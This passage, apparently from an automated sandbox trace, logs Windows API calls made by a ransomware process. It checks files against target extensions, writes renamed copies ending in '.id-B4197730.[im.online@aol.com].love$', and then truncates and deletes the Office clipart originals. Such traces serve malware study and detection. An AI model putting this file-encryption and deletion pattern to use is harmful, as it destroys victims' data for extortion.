Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0122.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.314] lstrlenW (lpString=".doc") returned 4 [0122.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.314] lstrlenW (lpString=".docx") returned 5 [0122.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.314] lstrlenW (lpString=".pdf") returned 4 [0122.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.314] lstrlenW (lpString=".xls") returned 4 [0122.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.314] lstrlenW (lpString=".xlsx") returned 5 [0122.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.314] lstrlenW (lpString=".ppt") returned 4 [0122.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.314] lstrlenW (lpString=".zip") returned 4 [0122.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.314] lstrlenW (lpString=".rar") returned 4 [0122.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.314] lstrlenW (lpString=".bz2") returned 4 [0122.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.314] lstrlenW (lpString=".7z") returned 3 [0122.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.314] lstrlenW (lpString=".dbf") returned 4 [0122.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.314] lstrlenW (lpString=".1cd") returned 4 [0122.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.314] lstrlenW (lpString=".jpg") returned 4 [0122.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.315] lstrlenW (lpString=".doc") returned 4 [0122.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.315] lstrlenW (lpString=".docx") returned 5 [0122.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.315] lstrlenW (lpString=".pdf") returned 4 [0122.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.315] lstrlenW (lpString=".xls") returned 4 [0122.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.315] lstrlenW (lpString=".xlsx") returned 5 [0122.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.315] lstrlenW (lpString=".ppt") returned 4 [0122.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.315] lstrlenW (lpString=".zip") returned 4 [0122.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.315] lstrlenW (lpString=".rar") returned 4 [0122.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.315] lstrlenW (lpString=".bz2") returned 4 [0122.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.316] lstrlenW (lpString=".7z") returned 3 [0122.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.316] lstrlenW (lpString=".dbf") returned 4 [0122.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.316] lstrlenW (lpString=".1cd") returned 4 [0122.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0122.316] lstrlenW (lpString=".jpg") returned 4 [0122.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.316] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.316] lstrlenW (lpString="BD08758_.WMF") returned 12 [0122.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.316] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=24320) returned 1 [0122.316] CloseHandle (hObject=0x2d8) returned 1 [0122.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0122.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.317] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.317] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0122.317] GetLastError () returned 0x0 [0122.317] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x5f00, lpOverlapped=0x0) returned 1 [0122.328] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x5f10, lpOverlapped=0x0) returned 1 [0122.329] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.329] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.329] SetEndOfFile (hFile=0x34c) returned 1 [0122.330] CloseHandle (hObject=0x34c) returned 1 [0122.396] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.396] SetEndOfFile (hFile=0x2d8) returned 1 [0122.397] CloseHandle (hObject=0x2d8) returned 1 [0122.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0122.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.397] lstrlenW (lpString=".doc") returned 4 [0122.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString=".docx") returned 5 [0122.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.398] lstrlenW (lpString=".pdf") returned 4 [0122.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString=".xls") returned 4 [0122.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.398] lstrlenW (lpString=".xlsx") returned 5 [0122.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.398] lstrlenW (lpString=".ppt") returned 4 [0122.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.398] lstrlenW (lpString=".zip") returned 4 [0122.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.398] lstrlenW (lpString=".rar") returned 4 [0122.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString=".bz2") returned 4 [0122.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString=".7z") returned 3 [0122.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.398] lstrlenW (lpString=".dbf") returned 4 [0122.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.398] lstrlenW (lpString=".1cd") returned 4 [0122.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.398] lstrlenW (lpString=".jpg") returned 4 [0122.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.398] lstrlenW (lpString=".doc") returned 4 [0122.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.398] lstrlenW (lpString=".docx") returned 5 [0122.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.399] lstrlenW (lpString=".pdf") returned 4 [0122.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.399] lstrlenW (lpString=".xls") returned 4 [0122.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.399] lstrlenW (lpString=".xlsx") returned 5 [0122.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.399] lstrlenW (lpString=".ppt") returned 4 [0122.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.399] lstrlenW (lpString=".zip") returned 4 [0122.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.399] lstrlenW (lpString=".rar") returned 4 [0122.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.399] lstrlenW (lpString=".bz2") returned 4 [0122.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.399] lstrlenW (lpString=".7z") returned 3 [0122.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.399] lstrlenW (lpString=".dbf") returned 4 [0122.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.399] lstrlenW (lpString=".1cd") returned 4 [0122.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0122.399] lstrlenW (lpString=".jpg") returned 4 [0122.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.399] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.399] lstrlenW (lpString="BD08773_.WMF") returned 12 [0122.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.400] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=24778) returned 1 [0122.400] CloseHandle (hObject=0x2d8) returned 1 [0122.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0122.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.400] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.400] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0122.401] GetLastError () returned 0x0 [0122.401] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0122.410] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0122.412] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.412] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.412] SetEndOfFile (hFile=0x34c) returned 1 [0122.412] CloseHandle (hObject=0x34c) returned 1 [0122.414] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.414] SetEndOfFile (hFile=0x2d8) returned 1 [0122.415] CloseHandle (hObject=0x2d8) returned 1 [0122.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0122.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.416] lstrlenW (lpString=".doc") returned 4 [0122.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.416] lstrlenW (lpString=".docx") returned 5 [0122.416] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.416] lstrlenW (lpString=".pdf") returned 4 [0122.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.416] lstrlenW (lpString=".xls") returned 4 [0122.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.416] lstrlenW (lpString=".xlsx") returned 5 [0122.416] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.416] lstrlenW (lpString=".ppt") returned 4 [0122.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.416] lstrlenW (lpString=".zip") returned 4 [0122.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.416] lstrlenW (lpString=".rar") returned 4 [0122.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.416] lstrlenW (lpString=".bz2") returned 4 [0122.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.416] lstrlenW (lpString=".7z") returned 3 [0122.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.416] lstrlenW (lpString=".dbf") returned 4 [0122.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.416] lstrlenW (lpString=".1cd") returned 4 [0122.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.416] lstrlenW (lpString=".jpg") returned 4 [0122.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.417] lstrlenW (lpString=".doc") returned 4 [0122.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.417] lstrlenW (lpString=".docx") returned 5 [0122.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.417] lstrlenW (lpString=".pdf") returned 4 [0122.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.417] lstrlenW (lpString=".xls") returned 4 [0122.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.417] lstrlenW (lpString=".xlsx") returned 5 [0122.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.417] lstrlenW (lpString=".ppt") returned 4 [0122.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.417] lstrlenW (lpString=".zip") returned 4 [0122.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.417] lstrlenW (lpString=".rar") returned 4 [0122.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.417] lstrlenW (lpString=".bz2") returned 4 [0122.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.417] lstrlenW (lpString=".7z") returned 3 [0122.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.417] lstrlenW (lpString=".dbf") returned 4 [0122.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.417] lstrlenW (lpString=".1cd") returned 4 [0122.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0122.417] lstrlenW (lpString=".jpg") returned 4 [0122.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.418] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.418] lstrlenW (lpString="BD08808_.WMF") returned 12 [0122.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.418] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=47996) returned 1 [0122.418] CloseHandle (hObject=0x2d8) returned 1 [0122.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0122.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0122.418] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.419] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0122.419] GetLastError () returned 0x0 [0122.419] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0122.426] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xbb80, lpOverlapped=0x0) returned 1 [0122.427] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.428] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.428] SetEndOfFile (hFile=0x34c) returned 1 [0122.428] CloseHandle (hObject=0x34c) returned 1 [0122.431] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.431] SetEndOfFile (hFile=0x2d8) returned 1 [0122.433] CloseHandle (hObject=0x2d8) returned 1 [0122.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0122.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0122.434] lstrlenW (lpString=".doc") returned 4 [0122.434] lstrcmpiW 